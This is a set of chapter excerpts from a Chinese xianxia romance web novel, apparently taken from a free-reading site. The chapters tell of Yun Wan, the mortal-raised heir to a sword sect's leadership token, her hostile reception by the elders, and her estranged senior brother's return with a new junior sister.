《死在大师兄面前后》 1. 忘悲泣(1) 《死在大师兄面前后》全本免费阅读 《死在大师兄面前后》 文/子琼 晋江文学城首发 云挽曾涉想过许多次与沈鹤之重逢的场景,却从未想过会是眼前这般。 朝阳初升,晨雾清透,那抹熟悉的身影站在翠林深处的小楼前,背对着她,斑驳纤长的竹影落在如雪如云的衣摆上,似水波潋滟。 而在他身旁,则有一名少女正轻轻拽着他的衣袖,仰起头看他。 少女梳着双髻,额间垂下几缕微翘的发丝,显得格外俏皮可亲,那青年或许也这般觉得,所以他才垂着视线,很认真地听着她说话。 两人的模样都生得极好,因此即使只是露出了小半侧脸,也让眼前这幕如一副观赏性极强的画卷。 少女与那青年的气质其实相差甚远,却又似是疏淡的水墨中,点了一抹鲜亮的灵动,透着几分鲜活的情趣,格外地相得益彰,或者也可以用另一个词来形容,格外地......般配。 云挽脑袋里冒出这两个字时,终是品出了那两人之间那股似有若无的暧昧来,仿佛他们眼中只有彼此,她完全不知该如何插言,也不知该怎么出声提醒自己的突然到来,就像是她真的是那个意外闯入的外来之人...... “我时常在想,师兄以前生活的地方,该是什么模样,”少女拉着身旁之人的袖子,笑道,“倒是与我想象的中一般漂亮幽静。” 青年没有回答她的话,反而像是察觉到了什么,转过头来,看向了云挽的方向。 发丝随着回眸的动作从肩头滑落,那双漆黑的眼眸也映入了云挽的视线,似镜潭的寒水,泛着细细的涟漪,不过一刹那的对视,云挽却不可思议地瞪大了眼睛。 只见青年眉心的灵莲状剑印此时竟一片赤红,似炽火燃烧,令他原本如松雪般疏冷的面容都好似沾上了一抹浓郁的艳。 寒阙诛心印,此乃至精至纯的剑气所化,因沈鹤之自幼修习无情道,所以这枚剑印原本该是如银霜般的净白之色,它只会在一种情况下才变成如今这般浓艳的红,那便是,他的无情道破了。 当他自行散去忘情剑意时,那枚来自他剑气的印记自也会随之变幻色彩。 云挽怔在原地,一时间竟怀疑自己的眼睛出了问题。 青年身旁的少女与他站得很近,整个人都轻蹭着他垂下的衣袖,即使两人什么都不说,也仍能让人感觉到那份过度强烈的亲密,答案几乎已经不言而喻了,而云挽的心也慢慢沉了下去,一种尖锐的疼痛感令她的眼眶止不住地发涩。 少女的目光自也落在了云挽身上,许是云挽此时的神情实在过于狼狈,令她觉得很是奇怪,她不禁一步站了出来,偏头打量着她,疑惑地问道:“你是何人?为何会出现在我师兄的住处?” 少女的语气中满是疑惑,甚至隐隐带出了几分质问的意味,直率而坦诚,又仿佛是有些不满于突然出现的云挽打断了她与师兄的谈话,显出天真的残忍。 一柄锋利的木剑负在少女背后,几缕冰寒的剑气从棱角分明的刻痕上溢出,足以见得雕剑之人乃是剑道高手。 云挽知道,那柄木剑出自沈鹤之之手,因为在她的住处,也存放着一把几乎一模一样的剑。 她也曾用着他亲手雕刻的木剑,日日向他讨教剑术。 鹅黄的衣摆随着少女的走动轻晃,裙带飘摇,美艳又娇俏,如绽放在寒冬中的迎春花,将一片翠色的飞泠涧映得艳丽。 云挽突然就觉得,若是向来冷寂如雪的沈鹤之注定要被谁照亮,那个照亮他的人,便该是这样明媚又嚣张的姑娘。 * 太虚剑川乃昆仑三大仙宫之一,而沈鹤之则是上任掌门祝言昂唯一的徒弟。 内门弟子皆有自己单独的洞府,这飞泠涧便是沈鹤之的洞府。 至于云挽为何会出现在此,那自是因为上任掌门祝言昂是她的父亲,她是沈鹤之的师妹。 任是宗门中的任何一个人都知晓,向来性情冷淡的沈师兄待他这个师妹有多好,她的剑术是他亲自教出来的;她的护身灵器是他亲手炼制的...... 所以云挽无论如何也想不到,有一天她竟也会被人如此理直气壮地质问,质问她为何会出现在沈鹤之的住处。 她有些茫然,一时竟不知该如何作答。 或许......事情该从一年前说起。 昆仑墟仙门林立,灵脉蜿蜒纵横。 而灵气顺流为仙,灵气逆流则为魔,在昆仑十二洲中,遍布着大大小小的凶冢,凶冢里充斥着大量的魔气和受到了魔气污染的恶祟。 为防止凶冢内的魔气外泄、污染昆仑墟的灵脉,十二洲的仙门每五年便会进行一次除秽祭祖。 所谓除秽祭祖,便是各大宗门世家,通过祭山川、论道法,选出最优秀的一批精英弟子,再将这些弟子派往各洲凶冢斩魔,既是为减少恶祟数量、加固外围封印、肃清妖魔,也是为了给门内弟子提供一个历练的机会。 而一年前,恰又到了五年一次除秽祭祖,太虚剑川抽中的除秽地,位于与宗门相距甚远的泯洲,那处凶冢是昆仑十二洲中规模最大的魔源之一,凶冢内部聚集着大量千年恶祟,因此他们的目的只是清剿凶冢外围的杂碎,并不会直面危险。 那是云挽入门以来第一次参加除秽祭祖,她志得意满地做好了拔得头筹的准备,可也偏偏是那次,凶冢外围的封印竟然松动了,他们不慎遭遇了平日里只在凶冢中心活动的千年恶祟。 云挽也亲眼目睹同行的师兄师姐一个个被撕碎在了凶兽的利爪之下。 她原以为自己也会死,但就在最危急的关头,远在十万八千里外的沈鹤之却突然现身,将她救了下来。 云挽不明白他如何会知道自己遇险了,更不明白他为何能那般及时地出现在她面前。 她那时受了重伤,只来得及攥紧他的手,就因失血过多昏迷了过去。 等她醒来后,她已被赶去支援的太虚宫弟子带回了宗门,那次意外令太虚剑川损失惨重,整个昆仑墟更是如临大敌,而沈鹤之也在凶冢中不知所踪了。 他这一失踪,便是整整一年,在这一年间,太虚剑川派出弟子四处寻找,却始终未果。 云挽 2. 忘悲泣(2) 《死在大师兄面前后》全本免费阅读 太虚剑川位于蜀洲,建派之地乃是蜀洲之内占地最大的山脉,此处灵脉交错,仙雾缭绕,被人称之为望仙道。 望仙道崎岖险峻,座座孤峰高耸云端,似一座座浮于雾海之上的岛屿。 山川之巅灵气最浓,夜间可赏粼粼明月;山川之下落日映霞,绿树成荫,因此内门弟子所住的山顶名为映月海,而外门弟子所住的山脚则叫做落日渊。 映月海和落日渊被一道阵法分开,隔在这中间的是一座石台,这座石台最初的名字是论剑台,供弟子比试用,后来又被戏称为鲤跃台。 倘若有外门弟子想直接进入内门,入住映月海,便可挑选一位内门的师兄或师姐,在这座鲤跃台上赢下他。 正如鲤鱼跃龙门,一旦成功,便可正式成为太虚剑川这座昆仑三仙宫之一的内门弟子,自此享受内门弟子应有的修炼资源。 只是太虚剑川的弟子皆是剑修,刀剑无眼,与之比试,一不小心便会负伤;若再不小心些,殒命都是有可能的,所以已有许久没有外门弟子妄想着通过这种方式进入映月海了。 今日的鲤跃台附近却极为热闹,三峰长老皆已聚于此处,而空闲的弟子也全跑来围观,他们听闻失踪一年之久的沈师兄突然归来,还带回了一个小师妹。 那小师妹也是个胆大的,一来便扬言要在鲤跃台挑战祝云挽。 “快让我看看,小师妹在哪呢?” 站得靠后些的弟子好奇地踮起脚伸长脖子,想看看到底是何人要挑战云挽。 也是在这时,有两道人影慢慢走上了鲤跃台,其中一人是太虚宫众人熟悉的祝云挽,而另一位梳着双髻的陌生少女,正是凌苏苏。 台下那各异的目光和此起彼伏的讨论声并未让凌苏苏露出怯色,她反而新奇地四下打量了起来,一双眼眸波光流转。 若有弟子无意间对上她的视线,她还会眯起眼睛,露出一个友好的笑,于是观战的弟子们皆下意识对她生出了几分好感。 有人评价道:“这位新来的小师妹还真是有意思,想来是个性子活泼的。” 又有人忍不住担心了起来:“也不知这小师妹是怎么想的,竟然跑去主动挑战祝云挽,只希望祝师妹手下留情些,莫要将小师妹打伤了。” 提起这个,众人的神色皆变得有些古怪,只因这祝云挽在太虚剑川中,其实一直显得有些格格不入。 她父亲是上任太虚剑川的掌门祝言昂,但她本人却是在十四岁时,才被从凡间接回了宗门。 祝言昂死的很突然,死前并未来得及将掌门之位传给合适的人,而他死之后,三峰长老才发现,最为关键的掌门令竟不知去了何处。 太虚剑川自建宗以来,已有千年之久,而这掌门令则是开山祖师留下的一件灵宝,门内的各类阵法禁制皆由掌门令控制。 新任掌门若想继位,也需与掌门令定下契约,才能通过此令牌,将整个宗门都纳入管辖范围内。 也就是说,若掌门令丢失了,新任掌门甚至无法继位,更无法随意操控太虚剑川中的核心阵法。 原本掌门令与护山阵法之间是有灵气勾连的,只需催动引灵诀,便会延展出一根灵气丝,指引出掌门令所在的位置。 但也不知祝言昂用了什么手段,竟将掌门令的踪迹完全隐匿了,令太虚剑川的众人毫无头绪。 那几年中,长老们皆焦头烂额地四处寻找,可却始终未果,好在唯有将太虚剑川的内门心法太虚神诀修炼大成之人,方能催动掌门令,所以倒也不担心此物落入不轨之人手中,给宗门带来灭顶之灾。 大概是在祝言昂死后的第十年,大长老崔见山突然感知到了来自掌门令的气息,他连忙派出门下首徒虞惊意前去寻找,却不想竟一路寻至了凡间,找到了祝云挽身上。 他们这才知道,原来祝言昂曾在凡间与一凡人女子当过一段时间的夫妻,还有了个女儿,他离开时便将掌门令留下当作信物,想待回到宗门后,命人将她们母女接回去,却不想他自己却先一步身陨了。 也因祝言昂担心掌门令外溢的灵息引来图谋不轨之人,便在其上种下了隐匿术法,使得太虚剑川的长老们也未能探知到掌门令的具体位置。 而那一年,云挽的母亲因重病去世,掌门令之上的隐匿术也随之自行消散了,这才让大长老崔见山有所察觉。 云挽自是不出意料地跟着大长老的徒弟虞惊意回到了太虚剑川,在门内众人看来,她祝云挽不过是一介孤女,必会受到大长老的拿捏,而掌门之位也必定会落到他手中。 可这个祝云挽却是个倔脾气,愣是霸占着掌门令,拒不交出。 上任掌门身死时没有留下明确要将掌门之位传于谁的信息,既然掌门令被交由给了祝云挽,那么就意味着她其实算得上是被指定的掌门继承人。 崔见山虽又怒又急,但身为名门正派的长老,他也的确不好真的把掌门师兄留下的女儿怎么样。 此事一出,无论是等着看热闹的其他仙门,还是门内弟子,皆只有一个想法,那就是,这个凡人小姑娘是疯了吗? 太虚剑川作为当世三大仙宫之一,怎么可能让一个刚开始修行的小姑娘来当掌门? 若是那祝云挽似她父亲那般,是个剑道天才倒还好说,可她的母亲是毫无根骨的凡人,她的资质又能好到哪去? 云挽十七岁那年,也是她入门的第三年,她跟随太虚剑川的弟子一同前去剑冢拔剑,却遭到了整个剑冢灵剑的排斥和抵触。 她拔不出任何一把灵剑,也没有灵剑愿意追随她,她是个不适合练剑的“废物”。 太虚剑川乃是剑宗,历代掌门皆是昆仑墟中赫赫有名的剑仙,她一个被万剑厌弃之人,有什么资格当剑宗的掌门呢? 于是“不自量力”便成了所有人对云挽的印象,甚至于这印象之中还带了几分嘲弄、质疑和轻蔑。 太虚剑川的掌教之位虽然空悬,但门内弟子都下意识以大长老崔见山马首是瞻,崔见山不喜欢云挽,弟子们自也有样学样,皆等着看她倒霉。 当然,大部分人其实并不理解云挽,他们只觉得疑惑,不明白她到底在执着什么,那枚掌门令与太虚剑川的掌教之位,当真就那么好吗? 也是因云挽无法拔出本命剑,大长老崔见山进一步施压,想逼她交出掌门令,可这个祝云挽竟自己偷偷溜进了剑山秘境,强行将插在阵眼的忘悲剑给拔了出来。 剑山秘境,以剑为眼,自成一片充斥着剑气的小天地,阵眼之中的忘悲剑更是一把名剑,出了名的难以驯服,云挽能拔出此剑,着实令门内上下吃了一惊。 而自祝云挽有了本命剑后,她也开始在门内露出锋芒。 云挽的剑招极为犀利,在同辈之中根本找不出几个对手来,就连当初将她从凡间接回来的虞惊意虞师兄也在与她比试时吃了不小的亏,虽在最后险胜,却也赢得极为狼狈。 她靠着一把强求来的剑,一路杀了上来,自此宗门之中对她的质疑声也变小了,而大长老崔见山每每面对她时,也是既厌恶又无奈。 所以不知这位新来的小师妹是怎么想的,竟然非要去挑战她。 崔见山此时正与其他二位长老一同坐于上方的看台中,他的脸上没有什么多余的表情,但目光扫至云挽时,眼底还是闪过了一丝厌烦。 凌苏苏已将负在背上的那柄木剑拿在了手里,她手腕一转,握着剑熟练地做了个起势,眼含笑意地看向了云挽。 “祝师姐,请吧。” 云挽眸光微动,她从凌苏苏拔剑的起势里看出了一抹熟悉的身影。 她的剑术......果然是沈鹤之教给她的。 也难怪她会如此自信。 云挽扬手一拔,腰间灵剑便骤然而出,映出一片锐利的寒光。 白玉质地的剑柄被她握在手心,带着一种清透的冷意,而在纤薄锋利的剑身之上,则刻了三个字——忘悲剑。 这便是云挽拼尽性命强取来的本命剑了。 她提腕仰眸,看向了对面的少女,而在这个瞬间,她竟突然想起了自己最初得到这把剑时,沈鹤之对它的评价。 “忘悲剑如净水枯颓,宜守不宜攻,恰与你的剑意相冲,若不能正确使用,必会两败俱伤。” 言外之意便是,这把剑其实并不适合她。 那时的云挽很失落,她小心翼翼地抱着自己好不容易得来的本命剑,有些无措地看着他。 青年最终叹了口气,未再说什么,也是,云挽又拔不出别的剑,唯有这把强求来的剑能勉强一用,她若放弃忘悲剑,就真的一点希望也没有了。 鲤跃台上的两人终于动了,衣袂翻飞间,寒芒闪过,破空之声不断,剑光反复相撞,灵气也一阵阵地散开。 围观的弟子见状不禁都露出了吃惊之色。 “我还以为这位新入门的小师妹会在三招之内落败呢!倒是没想到她竟和祝师妹打得有来有回,看来我们太虚剑川又要出一位少年天才了!” “也不看看她是被谁带回来的,沈师兄的剑术放在整个昆仑墟都是一绝,小师妹得了他的器重,定不会太差的。” 也有人看出了门道,分析了起来:“小师妹虽没有落败,但她的剑术明显较为生疏,应当用不了太久就会输给祝师妹。” “小师妹毕竟才入道嘛,祝师妹跟在沈师兄身边那么多年了 3. 旧时梦(1) 《死在大师兄面前后》全本免费阅读 云挽做了一个很长的梦,梦到了许多以前的事。 从她十四岁之前,与母亲生活在凡间,再到后来入了太虚剑川的种种。 往事历历在目,却又好似久远到是上辈子的事。 云挽四岁那年,父亲离开了她和母亲,之后便再没了消息。 母亲不得已,只能带着她寄住到了舅舅家中,但舅舅一家人却并不喜欢云挽,他们认为若非是因为云挽和那个抛弃了她们的爹,云挽的母亲原本是可以嫁个好人家的。 因着这份不喜欢,云挽童年的生活其实过得很不好,舅舅一家虽不至于苛待她,但那时不时的冷言冷语,和不经意间的漠视却也足够刺痛一个孩子的心。 云挽对父亲没有任何印象,她只知道父亲给母亲留了一块翡翠玉佩,那玉佩巴掌大小,呈剑形,温润碧绿,不似凡品。 母亲日日将玉佩戴在身上,她告诉云挽,她的父亲是一名很厉害的剑客,他终有一天会来接她们。 云挽对母亲嘴里的“很厉害”没有概念,她只是时不时地想,若是父亲当真那般厉害,她与母亲又为何会面对那么多的冷遇? 那些零星的念头在灰败的日子里一寸寸发酵,逐渐变成了一种苦闷又无奈的怨恨,所以云挽总会下意识将那个属于父亲的姓氏从自己的认知中抹除,她讨厌别人叫她“祝云挽”。 十四岁那年,云挽与两位表姐发生口角,被她们推入了鱼池,母亲因过于焦急亲自跳入水里将她救起。 寒冬腊月,被水浸透的两人都发起了高烧,云挽病得很重,一连睡了七天,等她醒来时,母亲已经变成了一具冰冷的尸体。 大夫说,母亲多年思虑过重,本就体弱,如今在寒冬落水,染了风寒,没能熬过去。 母亲去世得突然,没有留下遗言,唯有那枚翡翠玉佩被她紧攥在手中,那也成了她留给云挽的唯一一件遗物。 那日的云挽,跪在母亲的棺前,捏着那枚玉佩哭得昏厥了过去,而第二天,太虚剑川的人便找上了门。 云挽这才知道,原来她的父亲并非是剑客,而是剑仙,她也才知道,原来父亲始终不来寻她与母亲,是因为他早在十年前便已经身亡了。 那一刻的云挽竟突然觉得很轻松,她庆幸地想,还好父亲只是死了,并非是真的抛弃了她与母亲。 来接她之人自称是太虚剑川大长老崔见山的首徒虞惊意,云挽只是一介孤女,自没有反抗的能力,或者说她本也没有反抗的理由。 于是第三日,她便随虞惊意和一同前来的太虚剑川弟子离开了俗世,前往了昆仑墟。 云挽是凡人,使不了御空诀,所以他们走得很慢,一路上虞惊意向她讲述了许多关于昆仑墟、关于太虚剑川,还有关于她父亲祝言昂的事。 太虚剑川的弟子对云挽始终礼遇有加,并未看她年纪小便轻慢于她,但云挽自幼寄人篱下,不是傻子,她很快就明白了他们的意图,或者说是那位大长老崔见山的意图。 他们想要她手中的掌门令。 云挽不想给,但她不想给的理由却不是因为觊觎太虚剑川的掌门之位,她人生的十四年皆被困于一隅院墙之下,对“掌门”一词根本没什么概念。 只是她手中的这枚掌门令是母亲留给她的遗物,也是唯一的遗物。 母亲走时,未能留下一句话给她,若是连这件遗物也没了,那关于母亲的一切便彻底消失了。 云挽曾恨过她的父亲,也不可避免地怨过她的母亲,她怨他们生育她,却又让她活得那般痛苦。 她恨父亲一走便是十年,自此了无音讯;也怨母亲优柔寡断,对那样一个抛家弃子的父亲念念不忘、茶饭不思、忧虑成疾。 可那个在记忆中素未蒙面的父亲,却并非忘记了她们,而是早早地身陨,而她的母亲,也在最后因救她而身亡,于是那份怨就变成了一种缠绵复杂的疼痛和委屈。 想去怨恨又不忍怨恨,想要怀念却又不知该从何念起,那份苦楚涩然不知该向谁诉说,也不知要如何诉说,她便只能将那些情绪寄托在那枚翠色的玉佩之上,隐隐作痛,却也难以割舍。 从出发到抵达蜀洲,一共用了七日,云挽一路舟车劳顿、惶惶不安,行至望仙道时,已是傍晚。 夕阳西下,天色渐暗,虞惊意却告知她,每位新入门的弟子皆需用一双脚亲自爬上望仙道的石阶,才能求得仙缘,这是太虚宫长久以来的规矩。 他并未多做解释,云挽却一下子反应了过来,太虚剑川这是想给她一个下马威。 虞惊意似也觉得为难她一个小姑娘有些过意不去,所以当云挽向他看去时,他竟不自觉地移开了目光,云挽便彻底醒悟了,这应当是那位大长老崔见山的意思。 她也意识到,她来到这座传闻中的太虚宫,来到了这个父亲曾掌管着的门派,并非是“回家”,而是换了一个地方“寄人篱下”。 晚霞沉入山川之间,映下一片暗色的橘光,长长的石阶半隐在层层叠叠的翠色之中,一眼望不到尽头。 云挽知道,待到夕阳落下后,她便要在漆黑寂静的夜里,独自一人顺着长长的石阶,一步步走上这座冰冷而陌生的庞然大物之中。 她不可避免地紧张害怕、犹豫踌躇,她站在山间石阶前环顾四周,可那些太虚剑川的弟子却无一人将视线分给她。 石阶旁的守山弟子面色肃穆,似早已被岁月打磨得对一切都见怪不怪。 虞惊意最终轻轻拍了拍她的肩,低声宽慰道:“快些走吧,登仙路漫漫,但走至黎明初升时,便能真正看到太虚宫的山门了。” 云挽紧攥着衣袖,止不住地轻轻发抖,她深深看了虞惊意一眼,清晰地明白,在这个地方,没有人在乎她,也不会人会怜悯她。 石阶很长,在逐渐沉寂的光影中,被夜色衬成一片幽深。 没过太久,天就彻底黑了下来,周围并不是绝对的寂静,枝头被风吹得轻颤,细微的虫鸣声不知从何处传来。 天地间仿佛只剩云挽一人,这些都是她过去的十四年中从未经历过的,未知又迷茫,陷在深深的困顿中,仿佛永远看不清前路。 不知走了多久,云挽终是踉跄着跌在台阶上,被青苔蹭了一膝盖的泥,狼狈地哽 4. 旧时梦(2) 《死在大师兄面前后》全本免费阅读 云挽都还没来得及换身干净的衣衫,就被虞惊意带去了主峰的玉清殿,她也终于见到了太虚剑川的三峰长老。 坐于上首的中年男人,头戴玉冠,身着蓝袍,一柄拂尘被他搭在臂间,仙风道骨,却也不怒自威,他便是太虚宫的大长老,入檀峰峰主崔见山。 位于他下首的一男一女,则分别是二长老明阳峰峰主别叙,和三长老鸣佩峰峰主程惠风。 玉清殿很大,地上雕刻着繁复的咒文,云挽身处其中,只觉自己异常渺小。 她从未见过这种场面,加之一夜未歇,本便疲惫至极,如今走至三位长老面前,更是站立不稳,摇摇欲坠。 “祝师侄,”崔见山仿佛并未看出她的不堪,沉声开口问道,“你可知我们寻你来是所为何事?” 那奇怪而陌生的称呼让云挽稍稍发愣,但随后她心底就生出了一种强烈的厌恶和反感,她当然知道他们寻她是为了何事。 她伸手入怀,在三位长老的注视下,掏出了那枚翡翠玉佩。 爬登仙路时,她跌了一跤,蹭了一裙摆的湿泥,此时膝盖还隐隐作痛;三万级石阶对她而言太长,她走得脚掌胀痛,此时站在玉清殿中央,双腿酸软得不住哆嗦;一宿不眠,又吹了整夜的冷风,她头疼眩晕、呼吸紊乱...... 乱象浮动,她眼前闪过了许多不明的光影,又仿佛再次看到了那个于夜色中出现在她面前的陌生青年,他一路跟在她身后,像倾泻而下的泠泠月光,洒了她一身。 这一刻,云挽脑海里突然就冒出了三个字——凭什么? 一股莫名的勇气迸发而出,带着不可抑制的怒意,云挽猛地攥紧了掌心的玉佩。 “此物是我母亲留给我的遗物,我不会、不会将它交给任何人......” 她的声音在发抖,尾音都有些变了调,还带着无法忽视的哽咽,听起来颇有些滑稽,但她的语气却极为坚定,以至于上首座的三位长老一时间竟都以为自己听错了。 云挽咬着嘴唇,倔强地抬眸看向了正前方的崔见山,看向了这位她“听说”了一路的太虚剑川大长老。 “你可知你在说什么?”崔见山冷声开口,神色间已透出了不加掩饰的不满。 云挽的脸色很苍白,也不知是因为恐惧,还是太过疲倦,但她的眼底却含着不屈的泪,她一瞬不瞬地瞪着眼睛,没有丝毫退让。 那不知所谓的反抗终是激怒了崔见山,独属于仙尊的威压也随之扑面而来。 那年的云挽只是个没有任何修为的凡人,加之一整夜的奔波,早已是强弩之末。 压迫感刚一笼上来,她便“砰”地一声跪倒在了地上,吐出一口血来,晕了过去。 可即使陷入昏迷,她的手仍紧紧攥着掌心的那枚掌门令,不留丝毫余地。 太虚剑川的掌门令之上有着特殊的灵诀,除非持有者自愿交出,否则任何想要抢夺之人,皆会受到来自灵诀的反震攻击。 也是因此,崔见山最终也未能将掌门令夺走。他放出威压令云挽受伤已是有些过分了,作为太虚剑川的大长老,他到底还是没拉下脸来真的对云挽做些什么。 那日之事令云挽大病了一场,好在昆仑墟中灵气充盈,她昏昏沉沉睡了三天,竟自己痊愈了。 崔见山厌恶极了云挽,却也拿她没办法,他便将她随意丢在了外门落日渊,任她自生自灭。 太虚剑川分为内门映月海和外门落日渊,新入门的弟子皆会住进落日渊,跟随宗门安排的教习修炼,待到通过了一年一次的大测后,方可进入映月海,成为内门弟子。 太虚宫乃是昆仑三大仙宫之一,招收弟子的要求向来严格,新入门的弟子皆是根骨奇佳的幼童。 超过了一定年龄还能拜入宗门的,则都是本身便有修行基础,又在剑术斗法一道极为出色者。 那时的云挽已经十四岁,却只是个毫无修为的凡人小姑娘,在这座宗门中,便如同一个异类。 外门弟子没有自己的独立住处,而是四五名弟子住同一间屋子。 云挽抱着刚领来的门服和弟子令,寻到弟子苑时,天色已经有些暗了,院子里原本吵吵闹闹的,可她刚一出现,四周便陡然一静,所有人的目光就都集中在了她身上。 崔见山并未刻意封锁消息,因此有关于云挽的事在太虚剑川中传得沸沸扬扬。 也是在那一天,云挽遇上了来到太虚剑川的第一个噩梦,她叫崔檀昭,是崔见山的独女。 被一群外门弟子簇拥着的少女,众星捧月般地走了出来,周围的人都奉承地唤她“崔师姐”。 她似是在此等了许久,专门为着云挽而来。 那盛气凌人的少女没有穿太虚剑川的白色门服,而是着了一身赤红衣衫,艳丽而张扬,看年岁与云挽相差不大,只是她在看到她后,却趾高气昂地扬起了下巴。 “你就是祝云挽?”她挑眉,“听说你都已经十四岁了,还是个毫无修为的凡人?” 她随口一句,带了几分讥笑,于是围观之人皆顺着她的话哄堂大笑。 当初寄住在舅舅家中时,云挽的两位表姐就时常欺辱她,如今光景,竟令她仿佛又回到了过去的日子。 她沉默着,却莫名想起自己被两位表姐推入水中后,母亲向自己奔来的一幕。 那是她对母亲最后的印象了,她突然就觉得,也许那最后的一幕,将在往后的余生中,一遍遍地在她脑海中回放,直至记忆逐渐褪色,母亲的脸也会在最终慢慢模糊。 云挽垂下了视线,她不愿与崔檀昭相争,崔檀昭却先一步怒了。 “你是聋子吗?我在跟你说话你听不到?” 她用力在云挽肩上一搡,力道大得出奇,于是被云挽抱在怀中的门服便掉落在了地上。 昨夜刚下过雨,雪白的布料立即沾上泥泞,崔檀昭居高临下地迎面拔出了腰间的佩剑,劈出的剑风轻易将云挽掀翻在地,她很快就变本加厉地一脚踩在了她的小臂上。 在钻心的疼痛中,云挽听到崔檀昭的声音响在头顶:“你霸着掌门令拒不交出,我还以为你有多厉害呢?没想到连我们太虚剑川扫地的杂役弟子都不如!” 云挽捏紧拳头,想挣扎起身,崔檀昭却极为不屑:“怎么?生气了?想去告状说我欺负你?” 她在云挽的腰上踹了一脚,笑得恶劣:“太虚剑川以实力为尊,是你技不如人输给了我,我倒要看看谁会替你出头!” 云挽疼得说不出话来,崔檀昭就揪起她的领子,迫得她仰头看她。 “你若是把掌门令交出来,我倒是可以让你少吃些苦头。” 云挽的嘴唇被抿得发白,但任是崔檀昭如何对她,她都始终一声不吭。 周围看热闹的同门无一人上前,她们望向云挽的眼神都带了几分幸灾乐祸的轻蔑和嘲讽,仿佛是在迫不及待地等着看她倒霉。 像淬了毒般的阴冷,锋利细密地一根根扎来。 云挽觉得,她大概一辈子都忘不了那些眼神。 崔檀昭是大长老的女儿,她自是住在内门映月海的,所以她今日来到落日渊,显然是专门为了羞辱云挽。 5. 旧时梦(3) 《死在大师兄面前后》全本免费阅读 云挽没有躲闪,而是迎着青年望来的目光,认真地看着他。 那道如雪莲般的剑印在阳光的照射下,似荧光流淌,更加明亮,将那张没有太多神情的脸衬出几分悲悯的无情。 在这一刻,四周的喧嚣似都远去了,但也只是倏忽,他便扬手收剑入鞘,转身走下了擂台,仿佛那片刻的对视只是云挽产生的错觉。 她恍惚回神,吵闹声再次如潮水般涌来,她看到擂台附近的弟子们众星捧月般地将沈鹤之团团围住。 而在人群的最中央,则有一抹鲜亮熟悉的红衣身影。 在这座太虚剑川之中,不穿弟子门服的人只会有一个,那就是崔檀昭。 方才比试时,她便站在最前方观战,如今沈鹤之走来,她更是主动凑了上去,同他热络地说着话。 崔檀昭是大长老的独女,行事向来嚣张跋扈,可在沈鹤之面前,她却难得显出几分乖巧。 云挽的目光追随着他们一道向武道场外而去。 看着崔檀昭略带羞怯的笑容,她隐约意识到了什么。 红衣少女一句句地同沈鹤之搭着话,沈鹤之却似是有些心不在焉,只偶尔回应,因隔着人群,云挽听不清楚他们在说什么。 行至武道场的出口时,青年的脚步突然一顿,似是不经意般的,他偏过头来,目光精准地向云挽扫来。 不知是否在他的预料中,云挽再次隔着人群与他对视。 站在他身旁的崔檀昭毫无所觉,仍仰头看着他,高兴地叽叽喳喳,他的视线却落在云挽身上,似是在想着什么。 云挽突然有些慌乱,就连掩在袖中的手也下意识攥紧了,但转瞬间,沈鹤之就收回了目光,抬脚走出了武道场。 武道场并未因他的离开而变得安静,四周仍吵吵闹闹的,但他们谈论的话题大多都与这位沈师兄有关。 有人叹道:“我总算是见识到沈师兄的眠雪十六剑了!不知道我日后有没有机会向沈师兄领教一番!” 他身旁的同伴却道:“别眠雪十六剑了,今日只是内门论道会的第一日,还轮不到沈师兄使出眠雪十六剑!他刚刚那一招有另一个名字,叫做‘拔了一下剑’。” 之前说话那人“啊”了一声:“只是拔了一下剑就这么厉害了?” “那可不,”他的同伴扒拉着手指道,“据我所知,整个太虚剑川,也就三峰长老门下的亲传弟子能让沈师兄使出眠雪十六剑,等着看吧,最精彩的比试肯定还得看沈师兄和虞师兄打。” “那沈师兄和虞师兄谁厉害?” 那人毫不犹豫地道:“那肯定是沈师兄呀!” “怪不得崔师姐对沈师兄那副态度,不过沈师兄又不可能,他修的可是......” “嘘!你小声点吧!”他的同伴连忙捂住了他的嘴,压低声音道,“咱们就是一群外门弟子,这种事还是少讨论,万一被崔师姐听到了,有咱们受的!” 沈鹤之离开后,武道场的擂台上很快又开始了新的比试,但围观的弟子却再没像之前那般多。 云挽一边在人群中穿行着,一边四处打量,外门弟子大多都认得云挽,但门内弟子却都是些陌生面孔。 她很快就来到了武道场的角落,那里摆了张桌子,桌子后则坐了位少年,他应当是来自执事堂的内门弟子,此时正整理着写有弟子名字和比试顺序的竹简。 见云挽走至面前,他抬头瞥了她一眼,神色如常,于是云挽便知道,他不认得她。 “师兄......”云挽小心翼翼地唤了一声。 “有事说事。” 那人整理着纷乱的竹签,显得有些不耐烦。 云挽也不恼,她问道:“我想知道,沈师兄明日的比试是在什么时辰?” 那位师兄又瞥了她一眼,随后他突然笑了一声,像是觉得挺有意思的,竟放下了手里的竹签,反问道:“怎么?对沈师兄感兴趣?” 云挽点了点头,少年就又笑了一声:“我明白,你们外门的小师妹都对沈师兄感兴趣。” 云挽并不傻,她自是听出了他话中的调侃,她自幼生活在俗世,还未遇到过这种情况,一时竟不知从何反驳。 少年便又开口了:“内门论道会一共七日,你们沈师兄前六日的比试都是第一场,第七日是最后一场。” 云挽眸光微闪,她继续问道:“沈师兄是大长老的徒弟吗?” 她有些紧张,因为她这问题其实很奇怪,太虚剑川招收的弟子大多是些幼童,大家自幼生活在此,不可能没听过沈鹤之的名字,自也对他的事知晓得一清二楚。 她这一问,必会暴露出她是新入门的弟子,只要仔细一想,就能猜出她的身份来。 只是那整理着玉简的少年却好似没意识到这点,甚至还笑盈盈地摇了摇头:“怎么可能?沈鹤之怎么可能是崔见,咳,我是说大长老的徒弟?” “沈鹤之的师父是上任太虚剑川的掌教......祝言昂,你听说过吧,他就他这么一个徒弟。” 他此言一出,云挽整个人都怔在了原地,那些令她疑惑的过往也一幕幕地在她脑海里闪过。 初来那夜,沉默跟在她身后的青年;不久之前,他三番五次向她望来的目光,和那不知是出于什么原因的格外关注...... 云挽有种恍然大悟的感觉,她总算明白到底是为什么了。 面前的少年并未察觉出云挽的异常,反而突然对她道:“好好修炼吧,争取早点来映月海,到时遇见你们沈师兄的机会也能更多。” 云挽有些意外地看向了他,这还是她入太虚剑川以来,第一次收到他人祝福,于是她很认真地对那少年道:“多谢师兄,我会努力的。” 不知是 6. 旧时梦(4) 《死在大师兄面前后》全本免费阅读 之后一连六日,云挽都会准时抵达武道场。 与长年锻体的同门相比,云挽的身型不高,十四岁的她甚至显得有些纤弱,隐在角落时,极不起眼,也鲜少有人会注意到她,但沈鹤之却总能在她出现的第一时间有所察觉。 